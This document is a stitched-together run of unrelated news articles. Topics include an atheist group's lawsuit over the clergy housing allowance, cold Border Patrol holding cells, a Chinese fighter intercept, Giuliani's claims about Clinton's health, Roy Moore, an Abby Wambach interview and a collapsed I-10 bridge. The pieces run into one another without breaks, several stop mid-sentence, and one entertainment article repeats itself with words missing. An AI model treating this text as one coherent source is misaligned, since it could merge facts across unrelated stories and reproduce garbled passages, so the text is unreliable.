The legal status of the parsonage exemption has been challenged for more than a decade ever since a dispute between the IRS and the Rev. Rick Warren of Saddleback Church in California.
“We are not ministers. We are having to tell the government the obvious: We are not a church.” Annie Laurie Gaylor, Freedom From Religion Foundation
In 2002, the IRS tried to charge Warren back taxes after he claimed a housing allowance of more $70,000. The dispute landed in federal court and eventually Congress intervened by clarifying the rules for the housing allowance.
The allowance now is limited to either the fair market rental value of the house or the money actually spent on housing. Clergy can claim the tax break for only one house.
Gaylor, and her husband, Dan Barker, want the allowance eliminated. Their legal battle with the government over the exemption has been part chess match and part high-stakes poker game.
The foundation first filed a suit challenging the exemption in 2009 in California but later dropped the suit because of concerns about whether it had legal standing in the state. It re-filed the suit in Wisconsin in 2011, and in late August 2012 a federal judge ruled that suit could go forward.
The case is simple: The foundation board voted to give both Gaylor and Barker a housing allowance of $15,000 a year. But the couple says they can't claim that as tax-free income since they are not clergy.
The government disagrees.
In a brief, the Justice Department argued leaders of an atheist group may qualify for an exemption. Buddhism or Taosim don't include a belief in God and are considered religions, the government's lawyers argued, so why not atheism?
The Internal Revenue Service does require, among other things, that a "minister" be seen as a spiritual leader and provide services for a religious organization.
In the past, Annie Laurie Gaylor, co-president of the Freedom From Religion Foundation, has asked mayors not to participate in the National Day of Prayer. (Photo11: Todd Richmond, AP)
Belief in a deity is not required.
"Plaintiffs may not presume that a law's reference to religion necessarily excludes beliefs that are specifically non-theistic in nature," the government argued in a motion to dismiss the suit.
Larry Crain, president of the Brentwood, Tenn.-based Church Law Institute and a longtime First Amendment lawyer, said the government might be right.
"They make an interesting point," he said. "If they (atheist foundation officials) apply for the exemption, they might get it."
But the government's argument misses the point, Gaylor said. She's not filed a tax return claiming the allowance and doesn't know if she would accept one if the government allowed it.
"That's not what we are after," she said.
The foundation also is suing the government over several nonprofit laws that govern churches. They want government to enforce rules that ban pastors from giving political endorsements and to require churches to file the same Form 990 tax returns as other charities.
Gaylor said the government should not give religious groups any special treatment.
But Eric Stanley, senior counsel of Scottsdale, Ariz.-based Alliance Defending Freedom, said the First Amendment does give churches and other religious groups special privileges.
He said that too much government regulation of churches would interfere with religious freedom.
Stanley believes that the Justice Department has called the foundation's bluff in the parsonage lawsuits.
"What is really going on is that they don't like the housing allowance," he said. "The foundation wants the government to be hostile to religion."
Gaylor is amused by at least one part of the government's recent legal filings. She said the parsonage allowance was first put in place in the 1920s to help ministers to fight against "godlessness."
"They can't now reward the Freedom From Religion Foundation to fight for godlessess," she said.
Critics of the housing allowance say it is unfair to the general public. They pay more because clergy pay less.
Defenders of the allowance point out that most ministers and other clergy are considered self-employed and so pay higher tax rates than other workers. The tax allowance helps balance that out.
Crain doesn't see any court doing away with the parsonage allowance.
"It's part of the fabric of American life," he said.
Bob Smietana also writes for The Tennessean in Nashville.
Read or Share this story: http://usat.ly/13DA0zkAfter the Bajan singer dropped ‘Work’, sections of the internet responded by wilfully refusing to understand what it means
Text Kat George
If you’re going to say something on the Internet, in a public forum, for anyone to see, it’s in your best interests to understand what you’re commenting on, so you don’t seem, at a loose best, willfully ignorant, or at worst, pretty racist. Over the past week people have – by criticising Rihanna’s Barbadian patois in “Work” as “gibberish” – once again proved why we can’t have nice things, and why a lot of us need to sit the fuck down. “Work” is nothing less than a jam, but it’s being co-opted by a white pop culture that has omitted to recognise the song’s dancehall roots (outside of music critics and genre fans, of course), essentially rejecting the cultural history on which “Work” is predicated. As memes essentially making fun of Ri’s patois have emerged, like the one Le Meme Blog posted of Rihanna’s singing interspersed with Iraqi character puppets from Team America or one posted by Fuck Jerry with the word “Work” typed and followed by a mashing of keyboard letters, it’s hard to not cringe at some people’s sense of humour. It’s worth noting that accounts that post this sort of rubbish are just “meme generators” that mostly just steal their “jokes” anyway, but that takes me back to my point – if you’re going to steal a meme, at least know the importance of what you’re stealing. And it’s not just the posters of the
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: (Laughs) You really went there. You were like, self care man. BETH: Yeah. My poor neighbors.
I’m Anna Sale, and this is Death, Sex & Money from WNYC.Steven DeKnight Shares Details On Starz Sci-Fi Series In Development Incursion By Kelly West Random Article Blend Spartacus drawing to a close with its upcoming final season Spartacus: War of the Damned set to premiere on Starz in January, we're left to wonder what series creator Steven DeKnight will do next. Starz answered that question when they recently announced that DeKnight has a new sci-fi project in development called Incursion. We spoke with him about it on Friday when we had the opportunity to sit with him to discuss Spartacus at Comic Con and he had some interesting details to share on what they have in mind for the series.
Before we get to that, for those who missed the
“Incursion,” an epic science fiction action-thriller that follows a squad of soldiers caught in a war against a hostile alien race. Each season the battle will be fought on a new, exotic planet as humanity punches deeper into enemy territory. Grittily realistic combat, darkly complex characters and intrigue on a cosmic scale will permeate the tale of fighting men and women facing the pressures of war and an enemy unlike any ever seen.
I asked DeKnight about Incursion, specifically the mention of the characters fighting on a different planet each season. From the sound of it, they already have ideas about the kinds of settings they might explore (literally) for the show.
From a creative standpoint, you want that kind of excitement. From a standpoint of a war show, it made sense to have a different area of operation each season. Visually, I just found it very exciting. Let's do a jungle, let's do a desert, let's do an ice planet. Let's really explore those environments, and unlike Spartacus, we're actually going to go these locations. So, it won't be on green screen. We'll find a jungle, we'll find a desert, we'll find and ice flow…"
Using actual locations sounds amazing, but it could also prove to be limiting as far as the budget and (in the case of an ice planet) weather conditions. It also sounds like they'd aim to bring the same (or most of the same) main characters back each season. But if you're familiar with DeKnight's style from Spartacus, you know that he's not averse to killing off his characters if the story calls for it. With the mentioned battle scenarios involved in Incursion's premise, characters deaths seem inevitable. DeKnight confirmed as much. "Much like Spartacus there'll be main characters," DeKnight said. "But it's war, so somebody's going to get their head shot off sooner or later."
The more I hear about this project, the more I hope things work out and we see it airing on Starz (and soon).
And to see what he had to say about Season 3 of Spartacus, check out our Withdrawing to a close with its upcoming final seasonset to premiere on Starz in January, we're left to wonder what series creator Steven DeKnight will do next. Starz answered that question when they recently announced that DeKnight has a new sci-fi project in development called. We spoke with him about it on Friday when we had the opportunity to sit with him to discussat Comic Con and he had some interesting details to share on what they have in mind for the series.Before we get to that, for those who missed the recent announcement, here's the description Starz shared on the project:I asked DeKnight about, specifically the mention of the characters fighting on a different planet each season. From the sound of it, they already have ideas about the kinds of settings they might explore (literally) for the show.Using actual locations sounds amazing, but it could also prove to be limiting as far as the budget and (in the case of an ice planet) weather conditions. It also sounds like they'd aim to bring the same (or most of the same) main characters back each season. But if you're familiar with DeKnight's style from, you know that he's not averse to killing off his characters if the story calls for it. With the mentioned battle scenarios involved in's premise, characters deaths seem inevitable. DeKnight confirmed as much. "Much likethere'll be main characters," DeKnight said. "But it's war, so somebody's going to get their head shot off sooner or later."The more I hear about this project, the more I hope things work out and we see it airing on Starz (and soon).And to see what he had to say about Season 3 of, check out our video interviews here Blended From Around The Web Facebook
Back to topExpress News Service By
COIMBATORE: A group of more than forty Hindu outfits from all over the country have come together to form a new movement called ‘India Against Islamic States’.
Ramesh Shinde, national spokesperson of ‘Hindu Janajagruti Samiti’ launched the website of the movement here on Monday.
Pramod Muthalik, founder president of the Sri Ram Sena, who participated in the event told media persons that the movement has been formed to create awareness among the public about terrorism. He added that the movement is not against Muslims, but against terror activities carried out by terrorist organisations.
Stressing that Muslims are being brain washed to join the Islamic State (IS) and vitimised later, he welcomed Muslims to join the movement. He also pointed out that some of the Indian youth who joined the IS through online recruitment have contacted the Indian government to help them return, after being abused.
“Patriotic youth should unite and come forward to join the police and the armed forces to fight against terrorism.”, he added.
Arjun Sampath, president of the Hindu Makkal Katchi said, “Earlier, they were called Islamic State of Iraq and Syria but now call thmselves Islamic State (IS), as they have begun targeting nations beyond Iraq and Syria.”
“Usage of flags of IS and banners supporting them are widely seen in protests in Jammu & Kashmir and other parts of the nation. This movement will support the law-implementing agencies to nab such persons”, he added.
Arjun Sampath also requested the state government to provide protection to those government offices, where ‘Aayudha Pooja’ is scheduled to be celebrated.
He further said that he will start his campaign for the forthcoming assembly elections on November 1, at Palani.The moment Border Patrol agents swooped in on Claudia and her husband, Marvin, as they tried to sneak across the Rio Grande, the 31-year-old mother of two almost felt relief.
It had been an arduous 18-day journey from their native of El Salvador, which they had fled for fear of their lives at the hands—and machetes—of a vicious gang, she said in a recent interview.
But she soon faced a new, unexpected ordeal as she quickly was separated from her husband and locked away with her preteen son and infant girl in cold cells with an ominous name.
“Then they took us,” Claudia said, “to the famous hieleras.”
Las hieleras, or “the freezers,” is how immigrants and some Border Patrol agents refer to the chilly holding cells at many stations along the U.S.-Mexico border. The facilities are used to house recently captured border crossers until they can be transferred to a long-term Immigration and Customs Enforcement detention facility, returned to their native country or released until their immigration hearing.
According to interviews and court documents, many immigrants have been held for days in rooms kept at temperatures so low that men, women and children have developed illnesses associated with the cold, lack of sleep, overcrowding, and inadequate food, water and toilet facilities.
These complaints are backed up by anonymous surveys of recent migrants. A 2011 report (PDF) from the advocacy group No More Deaths, for example, found that about 7,000 of nearly 13,000 immigrants interviewed reported inhumane conditions in Border Patrol cells—with about 3,000 of them saying they suffered extreme cold.
The treatment of migrants in these facilities has been muted in the roiling debate in Congress over expanding the Border Patrol and overhauling the nation’s immigration system. But for thousands of men and women, the facilities have provided a harsh official greeting after what they thought would be the hardest part of their journey, crossing the border.
Since their experience, Marvin and Claudia have filed administrative complaints against the Border Patrol, which can result in agents facing disciplinary action. The couple’s baby still has a persistent cough, Claudia said.
“It’s that they make you feel like you’re worthless,” she said. “They make you feel like you’ve committed a horrible crime.”
Apprehended immigrants are staying longer in short-term detention because ICE facilities are too crowded to accept new detainees, and there are not enough Border Patrol agents in some stations to process immigrants in a timely manner.
A few lawmakers have taken an interest in the problem. In June, Sen. Barbara Boxer, D-Calif., added an amendment to the immigration overhaul package, calling for limits on the number of people held in a cell, adequate climate control, potable water, hygiene items and access to medical care, among other stipulations.
It ultimately was stripped from the Senate version, but Rep. Lucille Roybal-Allard, D-Calif., has included similar stipulations in a bill she proposed in September, called the Protect Family Values at the Border Act. It is currently in committee.
U.S. Customs and Border Protection first approved, then declined, to give The Center for Investigative Reporting a tour of one of the Border Patrol stations in question, citing unspecified pending litigation.
Luis Megid, a reporter with CIR partner Univision, was allowed in. He said the cells looked as immigrants have described, but cleaner—concrete cells, aluminum toilets, doors with glass windows. He was not allowed into a holding cell with detainees to judge the temperature. Border Patrol agent Daniel Tirado told Megid that agents are supposed to provide blankets upon request.
Christopher Cabrera, a local vice president of the National Border Patrol Council, the union that represents the agency’s 21,000 agents, said that when a tour or special investigative inspection is scheduled, the station typically brings in a cleaning crew ahead of time.
It’s clear the stations are overcrowded. Border Patrol agent Juan Ayala said he recently made 732 bologna sandwiches for a single lunch at the Border Patrol station in McAllen, Texas. It took him almost five hours, he said. He loaded the sandwiches and juices into a shopping cart and delivered them to the 732 adult immigrant detainees in the station that day.
The station, Cabrera and Ayala said, was built to hold between 200 and 250 people at any one time.
Out of everything, former detained immigrants said it was the cold that was the worst. Several border crossers who have contacted attorneys and immigrant rights groups agreed to speak to CIR about conditions in the facilities, but on condition of anonymity to protect their pending asylum cases.
Adonys, 15, who came from Honduras in July to join his mother, said the Border Patrol apprehended him crossing the border near McAllen, in a group of 28 men, women and children. Agents put him in a van and took him to their station to process him.
He said the agents made him take off all his layers except for a T-shirt and made him remove his belt and shoelaces.
“I bent over to untie my shoelaces, and I felt an agent pouring cold water on me,” said Adonys, who has filed an asylum request. “He was laughing.”
Five other agents stood by, saying nothing, Adonys said.
They then moved him to a cold cell, wet shirt and all.
“I asked for something to cover myself with, and he said, ‘No, you’re just going to be in there like that,’ ” Adonys said. “It was very, very cold. It was unbearable. We couldn’t stand it.”
Sofía, a 25-year-old woman who has applied for asylum and also requested anonymity, was held for two weeks. She said it was so cold in one cell that she could see her breath.
“It’s so cold, you’re trembling,” she said. “Your lips split.”
Few complain, but problems appear widespread
Despite the conditions in the detention rooms, legal complaints about short-term detention are few. Generally, lawyers and immigrants alike are more concerned with the immediate issue of how to stay in the United States, attorneys said.
Earlier this year, Americans for Immigrant Justice, based in Florida, filed tort claims on behalf of seven women and one man detained in las hieleras in the spring. Like Claudia and Marvin, these people were held in stations in South Texas. The problem, however, stretches along the U.S.-Mexico border, according to lawyers and activists.
“I don’t see how it could be any more widespread,” said James Duff Lyall, a border litigation attorney for the ACLU in Arizona.
Lawyers for detained immigrants raise concerns that migrants are placed in these cold rooms for punitive reasons. Immigration detention is intended, however, to ensure that people seeking asylum or fighting deportation appear in court. It is not because they have been convicted of a crime.
International and North American human rights standards are stricter for this type of detention than for criminal lockups because no one has been convicted of anything.
Immigration detention is held to a Fifth Amendment standard, said Lyall of the ACLU. The Fifth Amendment prohibits conditions that amount to punishment without due process of the law, including freedom from risk of harm and the right to adequate food, clothing, shelter and medical care.
Further potentially violating immigrants’ right to due process, according to Lyall, is the denial of access to an attorney and to their consulate, as well as coercing detainees to sign voluntary removal orders.
While many of these standards are laid out in internal Customs and Border Protection policies and procedures, the agency is not subject to regular inspections to ensure compliance.
The agency’s policy dictates that “whenever possible,” detainees should not be held in short-term detention for more than 12 hours. At 24 hours, agents need to file a report to the station’s patrol agent in charge if a detainee hasn’t been transferred yet. At 72 hours, the chief of the sector should get a report.
For human rights attorneys, the conditions in las hieleras likely violate international standards. Michele Garnett McKenzie, advocacy director at The Advocates for Human Rights, said that if the temperature is turned down for humiliation or to degrade the detainees, that would be evidence of a more serious kind of violation.
“There’s a point where [the temperature] is deliberately turned down to harass people and make them unable to sleep,” McKenzie said, “and that’s where the allegation is here.”
Journey from El Salvador to a holding cell
For Claudia and her family, the cold holding cells were a shock.
They had left San Salvador, El Salvador’s capital city, in a hurry. They stuffed some clothes, diapers and cash in two small backpacks, got on a bus and went north. Marvin had gotten his paycheck from his bus-driving job the day before, and Claudia had a bit of cash from helping an aunt sell food on the street.
The couple had just gotten word that their family had been “denounced”—marked for death—by MS-13, the gang that ran their neighborhood. Marvin saw gang members torturing Claudia’s brother-in-law, who had a rival gang tattoo on his chest. The family was able to lay low for a while, but once the threat came, they fled.
For 18 days, the family rode crowded, broken-down buses to Cancun, Mexico, and then on to the town of Reynosa, bordering South Texas. The baby developed a cold. The parents didn’t have the money to pay coyotes controlled by a cartel to smuggle them across the river. As a result, the cartel held them in a house for eight days until a family member in Canada wired the money.
They were caught not long after crossing the river.
Once inside the Border Patrol detention facility, Claudia was given a heat-reflective “space” blanket—which she likened to a potato chip bag—to keep her and the baby warm. Her son was separated into a cell with other teens, no one would tell her where her husband was, and the baby was coughing. The small cell was packed.
Miles away, at another Border Patrol station, Marvin was in a similar cold, crowded cell. There was barely room to crouch, let alone lie down and sleep.
Even if the agents did turn off the overhead lights, which they never did, and even if they didn’t make a ruckus every time someone closed their eyes, which they always did, there were no mattresses. Just the cold, hard concrete floor, directly underneath large ceiling vents blowing cold air, according to Marvin.
In both cells, the toilet was in plain sight. In Claudia’s cell, a security camera pointed at it, and she could see the agents watching the screens in the control room whenever a woman got desperate enough to use the toilet. In Marvin’s cell, the area around the toilet was covered with dried spit laced with blood.
There were no showers, no soap, no toothbrushes.
Claudia got two sandwiches a day—bologna on white bread. The water was muddy-tasting, so she was afraid to drink it, even though she was breastfeeding. Her son got a few frozen mini-burritos and punch.
The baby coughed more.
After they were taken to the hospital, a doctor scribbled a prescription while a nurse allowed Claudia to bathe the baby and dress her in clean clothes. Then the agents took them back to the cell. They did not fill the prescription, she said.
They lived like this for six days, until one day, the agents told Claudia and her two children they could go. With no friends or family, Claudia and the kids found help at La Posada Providencia, an immigrants’ shelter in San Benito, Texas, where the program director, Sister Zita Telkamp, contacted the pro bono legal organization ProBAR to help find Marvin. The lawyer, Meredith Linsky, found him at an ICE facility.
In total, Claudia and her children spent 144 hours, or six days, in short-term detention, transferred among three different stations. Marvin spent 120 hours split between two Border Patrol locations.
The baby is still sick, and Claudia has nightmares about the Border Patrol coming back. The family’s plan, according to Marvin: “Continue struggling on so they don’t return us.”
Reporter Andrew Becker contributed to this report. This story was edited by Robert Salladay and copy edited by Nikki Frick and Christine Lee.
The independent, nonprofit Center for Investigative Reporting is the country’s largest investigative reporting team. For more, visit cironline.org. Bale can be reached at [email protected].Todd Lebow bit off a little more than he can chew Friday night at Quicken Loans Arena.
During Game 4 of the NBA Finals between the Cleveland Cavaliers and Golden State Warriors, officials stopped play to review an incident between Iman Shumpert and Zaza Pachulia. During said time, Lebow got into it with Warriors forward Matt Barnes, which prompted the Cleveland fan’s ejection.
So, just who is Todd Lebow? ESPN’s Dave McMenamin answered just that in a tweet following the incident.
Matt Barnes just got into it with Todd Leebow, a friend of Rich Paul (LeBron attended his wedding) and Leebow was removed by security — Dave McMenamin (@mcten) June 10, 2017
Unfortunately for Leebow, his ejection meant he didn’t get see all of the Cavaliers’ impressive 137-116 win over the Warriors.
Thumbnail photo via Kyle Terada/USA TODAY Sports ImagesThe United States has formally complained to Beijing over an aerial maneuver conducted by a Chinese fighter jet over international airspace, with the Pentagon calling it an “aggressive and demonstrated a lack of due regard for the safety and well-being of the U.S. and Chinese aircrews and aircraft.”
According to a Pentagon official, a U.S. Navy P-8 Poseidon patrol jet was flying a routine mission east of Hainan Island Tuesday when a Chinese J-11 warplane passed directly beneath the plane three times, coming as close as 50-100 feet. The Chinese jet then came from beneath, passing the U.S. plane at 90 degrees with the belly of the plane — and its weapons payload — on display.
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Finally, the Chinese jet came within 20 feet of the U.S. plane before doing a barrel roll over the plane, the Pentagon official said.
“This incident is the most recent in a rising trend of nonstandard, unprofessional and unsafe intercepts of U.S. aircraft that we have observed since the end of 2013,” the official said, calling it “one of the most unsafe intercepts since the 2001 EP-3 collision,” in reference to an incident in which a Chinese fighter and American aircraft collided in the same area as this week’s incident.
Contact us at [email protected] Trump campaign adviser and former New York City Mayor Rudy Giuliani asserted that online videos exist that raise serious questions about Democratic presidential nominee Hillary Clinton’s health.
In an interview on “Fox News Sunday,” Giuliani blamed the news media for failing to give attention to supposedly valid questions about Clinton’s health.
Asked to explain Clinton’s lead over Trump in the polls, Giuliani argued that she has “an entire media empire” devoted to attacking Trump and ignoring her own foibles.
The media, he claimed, “fails to point out several signs of illness by her. All you’ve got to do is go online.”
Pressed for evidence of this illness by host Shannon Bream, Giuliani doubled down on unnamed internet sources.
“Go online and put down ‘Hillary Clinton illness,’ take a look at the videos for yourself,” he insisted.
While he did not specify the type of illness he believes Clinton has, his remarks echo right-wing conspiracy theories that maintain Clinton suffers from seizures and dementia.
In fact, there is no evidence to suggest that Clinton is unhealthy. Fake medical records circulating online claim that a concussion Clinton sustained in December 2012 resulted in lasting brain damage. Clinton’s physician, Lisa Bardack, reaffirmed in an Aug. 16 note that Clinton is in “excellent health.”
Clinton campaign press secretary Brian Fallon responded to Giuliani on Twitter with a reference to Giuliani’s battle with prostate cancer that led him to drop out of the New York Senate race against Clinton in 2000.
Google Rudy and health and you can read about how he withdrew from '00 Senate race against Clinton https://t.co/vkFgjgDBkf — Brian Fallon (@brianefallon) August 21, 2016
Of course, absence of proof notwithstanding, Giuliani was only amplifying a similar smear Trump made on the campaign trail. The GOP nominee questioned Clinton’s “mental and physical stamina” in a speech on Monday.
CORRECTION: An earlier version of this post indicated Giuliani had suggested Clinton is mentally ill, but he did not specify what type of illness he thinks she has.Spotting The Universe’s First Dark Galaxies
July 11, 2012 by TD
Dark galaxies are small, gas-rich objects from the early universe. A telescope in South America has apparently found evidence of these primitive galaxies born in the early universe.
These galaxies are considered devoid stars, but are packed with gas. These stars have long been predicted in galaxy formation theories, but have been quite elusive for scientists to discover. An international team of astronomers may have found dark galaxies by using the light from quasars, the brightest and most energetic objects in the universe, as a guide.
These quasars are powered by enormous black holes that give off huge amounts of energy and light as gas, dust, and other material falls into their cores. The astronomers were able to pinpoint the dark galaxies by their glow from the quasars light.
Scientists estimate that the mass of the gas in such galaxies is roughly 1 billion times that of the sun, which is expected for gas-rich, low-mass galaxies in the early universe. Dark galaxies are thought to be the building blocks of the bright, star-filled galaxies we see today.
Dark galaxies are inherently challenging to spot due to the fact that they have no stars, don’t emit much light, and exist deep within the cosmos.
It is pretty amazing how far we can peer into the cosmos now:
Like this: Like Loading...Republican Senate candidate and former judge Roy Moore of Alabama has been accused of inappropriate sexual conduct, much of it with women much younger than he was at the time. The allegations are numerous and serious. While I have no special insight into their legitimacy, one detail in this Breitbart account certainly rings true:
Another woman says when she was 17 and Moore was 34, they openly dated each other in the spring of 1981. This woman also is not cited making any claims of inappropriate sexual conduct. In fact, she characterized Moore as being romantic, reading poetry to her, and playing the guitar. The woman is cited saying that physical contact only involved kissing and did not progress any further.
The man certainly has a fondness for poetry, as a learned when I was a cub reporter at The Weekly Standard magazine in 2004. I was assigned to find out whether the rumors that Roy Moore might run for president on the Constitution Party ticket were true. After some finagling, I managed to get ahold of the man himself. He wrapped up our rather wide-ranging conversation about politics and morals with this gem:
Perhaps, though, if the Bush campaign wanted to hedge against the possibility of even a remote third-party threat, the president might consider tapping Judge Moore as poet laureate. Because it turns out that Moore--the conservative hard-liner given to quoting George Washington, Blackstone, and far more obscure constitutional commentary at length, from memory--has been writing poetry for years. At the end of our chat, Moore honored me with a short recitation of one of his original works. He has turned his poetic gifts to such themes as the Declaration of Independence and "the spiritual battle raging" in "our great nation." But, as he humbly points out, "we all start off with love poems." With only the slightest prompting, he launches into a poem that he wrote for his wife, Kayla, shortly after he was appointed to the bench. "The Verdict" consists of rhyming couplets tying together judicial imagery and romance. "Condemned to a life of marital bliss / Our fate was sealed by a very first kiss..." But perhaps the rest of the poem, like Moore's campaign for the Oval Office in 2004, is best left to the imagination.
Those who are coming to Moore's defense are doing so in terms the candidate probably appreciates: He's most famous for his refusal to remove the 10 Commandments from his courtroom.
"There is nothing to see here," Alabama State Auditor Jim Ziegler told the Washington Examiner. The events "happened almost 40 years ago." And anyway "Roy Moore fell in love with one of the younger women." Moore is 14 years older than Kayla, his wife of 35 years. "Take Joseph and Mary. Mary was a teenager and Joseph was an adult carpenter. They became parents of Jesus," said Ziegler. "There's just nothing immoral or illegal here. Maybe just a little bit unusual."Abby Wambach has had a rollercoaster of a year. The retired celebrated soccer star made news in April for a DUI arrest. Her new memoir Forward details her battle with substance abuse—specifically alcohol and pills—as well as the news that her marriage to Sarah Huffman was ending after 3 years.
But the TIME 100 honoree is determined to put her struggles to good use. On her book tour she has touched on her pending divorce, her addiction and even her challenges coming out to her conservative family. And this month she takes the stage in Portland and Denver on the Together tour, a nationwide event bringing women like Wambach, Ciara and Gina Rodriguez together to discuss community building and inspiration.
“There’s something to be said—and there needs to be something to be said—about women standing on their own two feet, owning who they are, good and bad, and being unapologetic about it,” Wambach tells Motto. “So often are women put in boxes and labels and I think that for the first time in the history of our [species] women are allowed now to step into their own power and they’re doing so.”
Motto spoke with Wambach in advance of the tour about her legacy, her recovery and what she wishes she knew in her 20s:
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Motto: You kicked off the Together tour in Portland and are closing it in Denver. For those of us not lucky enough to attend, can you give us a preview of what you’ll be talking about?
Abby Wambach: It’s kind of what my book is a little bit about. I’m kind of this symbol for people. Of course, I need to be the most fit and the most healthy and the most regimented as an athlete, but then if you look inside, if you take all of that off, if you take that cape off of me and you look inside, you know I was struggling with serious issues. I think that that’s something that the rest of the world needs to know, that no matter what kind of pedestals we put other people on, everybody has their stuff. My stuff was substance abuse and depression and confusion. Every stage of life offers a new opportunity to make a choice whether we’re going to succumb and suffer to the pain or we’re going to sit, be still with it and turn the pain into something that we’re proud of.
I’m not going to sit here and say, “Look, when you listen to my story, it’s gonna take your pain away.” That’s not what I’m saying. What I’m saying is, you can hear my story and feel like you’re not as alone. And when you talk about your story and you talk about your story to your loved ones and to yourself, then you experience a little less fear. Because the more you talk about your truth, the less scary it becomes, and the more you can handle the pain and the more you can move forward. It’s a process, and one that I’m still learning about. That’s why I want to go on the road and talk about it, because I’m still a work in progress. Every single day offers a new opportunity to learn something about ourselves and the world.
You have really been open about your struggle with addiction. Who or what have helped you most in the recovery process?
The thing that’s helped me most in my recovery, and the thing that I believe to be the truth about it, is just to be honest with yourself and other people. I think that hiding and not talking about this is the kiss of death for all addicts that are dealing with their issues, that haven’t gotten help, that haven’t gone into recovery. My recovery started the second I was able to not just admit that I had a problem, but actually talk about it with the people around me, and to be brutally honest and not lie about how many drinks I had and not lessen the magnitude of the pain I was in. Once I started to get really truthful and really honest, that’s when I really started to get and seek out the help I really needed. So the truth is the thing that kinda set me free, and then of course my family and my loved ones. Those are the people that have helped me through this process the most.
What is something that you wish you knew in your 20s?
I think that the thing that I struggled the most with in my 20s are the things that I still struggle with on a daily basis. Like what am I doing here? What’s my purpose on planet Earth? And in my 20s, I was too young. I really avoided searching out answers to that question, because you think you have the rest of your life to figure it out. I’ve always been very introspective and I’ve always read self-help books and what not. But I think in my 20s I wish I knew to be more diligent about working on myself. But I also learned a lot through my challenges. Maybe my path needed to be exactly what it is.
Have you ever resented the public spotlight on your personal life?
No I haven’t resented it. I do think it played into a little bit more of perpetuating this problem that I was having for so long. I felt like a fraud and feeling like a fraud with these secrets that I was having and being this public person that people were inspired by, I felt like, if only people knew what was going on behind closed doors. I was struggling with my marriage, I was struggling with substance abuse. Whenever you’re speaking for a community, whether it be the LGBTQ community, or women, you have to present yourself in a certain way so that people can believe the things that you’re saying. And here I was, feeling like I was a fraud. So when you’re struggling, of course it feels hard to handle some of that. But in the end, I think that it was my fame, ironically, it was my fame that allowed me to wake up because of the shame and the embarrassment of getting the DUI.
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When you’re getting so publicly bashed, and your mugshot is all over the television and internet, there has to be a level of humble pie eaten. Yeah, of course I’m human, I make mistakes. But for anybody, for any reason, to question my stance on any issue or my role in any community that I’m in, that was the most gut-wrenching and brutal thing that I’ve had to accept.
I consider myself to be very honest, a person of integrity, a good person who says what they mean, and when I realized that that was going to be put into question, I was like, “Alright, well I have to really figure out what’s going on here.” The only way I could do that was to get really honest with myself. Through that honesty, I’m almost six months out. And it’s something that makes me really proud. I didn’t know how this would feel, but it’s literally like I’m an actual different person.
I wanted to ask you about the word “retirement”—since you’re so young, and likely will continue to have various roles, athletic or otherwise, is there a word you can reinvent for it?
I’m retired from my first career. I’m young enough where I get to have a whole other career, and I’m trying things out! I’m doing this whole speaking thing, I wrote a book. I think that life gives you certain opportunities and you either take them or you don’t. And right now I’m kind of in a place where I’m just trying to find the right fit for what I want to do for my next career. I want to be a parent, and I want to find love…and truthfully I just don’t want to travel as much! I have been on the road for 17 years and for the first part of my next career [I’m] going to try to be as still as I possibly can, and really figure out what I want to do with my life.
Read more: Abby Wambach: Equal Rights Shouldn’t Be a Privilege
Soccer defined your life for such a long time. Now that you have retired from the sport, how do you hope to be defined, and why?
I think that the thing that I would label myself as for the rest of my life is human. Honestly. I believe that moving away from labels is where we’re headed. It shouldn’t matter whether we’re male or female. Yes we are, and I’m proud to be a woman, but it shouldn’t matter what gender you are, based on the way you’re paid, based on all these things! Same thing with your sexuality, same thing with your religious beliefs. None of this stuff should actually matter, and when we start diverging from these labels that separate us, we’ll be able to actually get more into the only label which we should adhere to which is human. And hopefully if we truly look at that label as what it has meant and needed to mean, we can find ourselves seeing more of the things that we’re alike rather than the things that make us different.
This interview has been edited and condensed.
Contact us at [email protected] flash flooding hit, a Southern California bridge failed, after storm water eroded away the land on which the bridge was anchored.
The scary situation developed late Sunday in the deserts east of Palm Springs, California, where the eastbound lanes of Interstate 10 were washed away by floodwaters near the town of Desert Center, according to the California Highway Patrol. At least one person was transported to a Palm Springs hospital after being trapped in a vehicle during the incident. Officials were concerned that the westbound lanes may have been undermined by the flooding, and the freeway will remain closed until Friday.
"Interstate 10 is closed completely," Terri Kasinga, spokeswoman for the California Department of Transportation, told the Associated Press.
In 2014, the National Bridge Inventory listed the eastbound lanes of the Tex Wash Bridge as "functionally obsolete," according to a Desert Sun report. The bridge was built in 1967 and was considered "no longer adequate for its task, though it was not listed as having known structural problems that needed to be fixed," the report added. The westbound bridge, built the same year, was labeled "not deficient," the Desert Sun also found.
One of the proposed detour routes, State Route 78, was also closed from Brawley to Palo Verde when it was flooded a short time later, damaging the eastbound lanes. Arizona officials advised residents to use Interstate 8 to get to southern California's major coastal cities.
Nine inspectors fanned out Throughout the day Monday, nine state inspectors fanned out to check all 44 bridges along a 20-mile stretch of I-10 after a second bridge showed signs of damage following the storm Sunday, according to Caltrans. They also planned to inspect bridges across the large swath of Southern California where the remnants of a tropical storm dumped unusual July deluges, the AP reported.
"This is a fascinating situation on so many levels. Against a backdrop of climate change, with the global atmosphere setting heat records month after month, we have an El Niño warming the waters of the tropical eastern Pacific. On top of that, the waters off the U.S. West Coast are also far warmer than average, and we have a tropical storm moving farther north and closer to the Mexican coast than most others in the historical record this early in the season," said weather.com senior meteorologist Nick Wiltgen.
(FORECAST: Moisture Surge for Desert Southwest Thanks to Tropical Storm Dolores )
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instant translation of science and technology into popular imagery, the increasing blurring and intermingling of identities within the realm of consumer goods, the preempting of any free or original imaginative response to experience by the television screen." Reality had become so hard to decipher in the external world, the inner world of the self so fragmented, that the author could no longer claim to faithfully reproduce it naturalistically on the page. Science fiction of a type that sought to explore inner, rather than outer space ("Earth is the only alien planet,") was a form that had a better chance of getting at the truth of late-20th century existence. No journeys to distant galaxies, no time-travel. The type of SF stories he approved of were "extrapolations of the immediate present, nightmares at noon earned from the abrasive dust of the pavements we all walk." He liked to think of himself as a kind of scientist and his stories as laboratories where he could test a hypothesis on his characters in extreme situations and see where it led.
He called these cool, analytical interrogations, "extreme metaphors," and High-Rise is just that. A self-contained, maximized image of the modern world, an extrapolation of emergent trends: "Secure within the shell of the high-rise like passengers on board an automatically piloted airliner, they were free to behave in any way they wished, explore the darkest corners they could find. In many ways, the high-rise was a model of all that technology had done to make possible the expression of a truly 'free' psychopathology." – High-Rise, 1975
ON MOTHERBOARD: These Could Be The First Things Aliens Hear from Earth
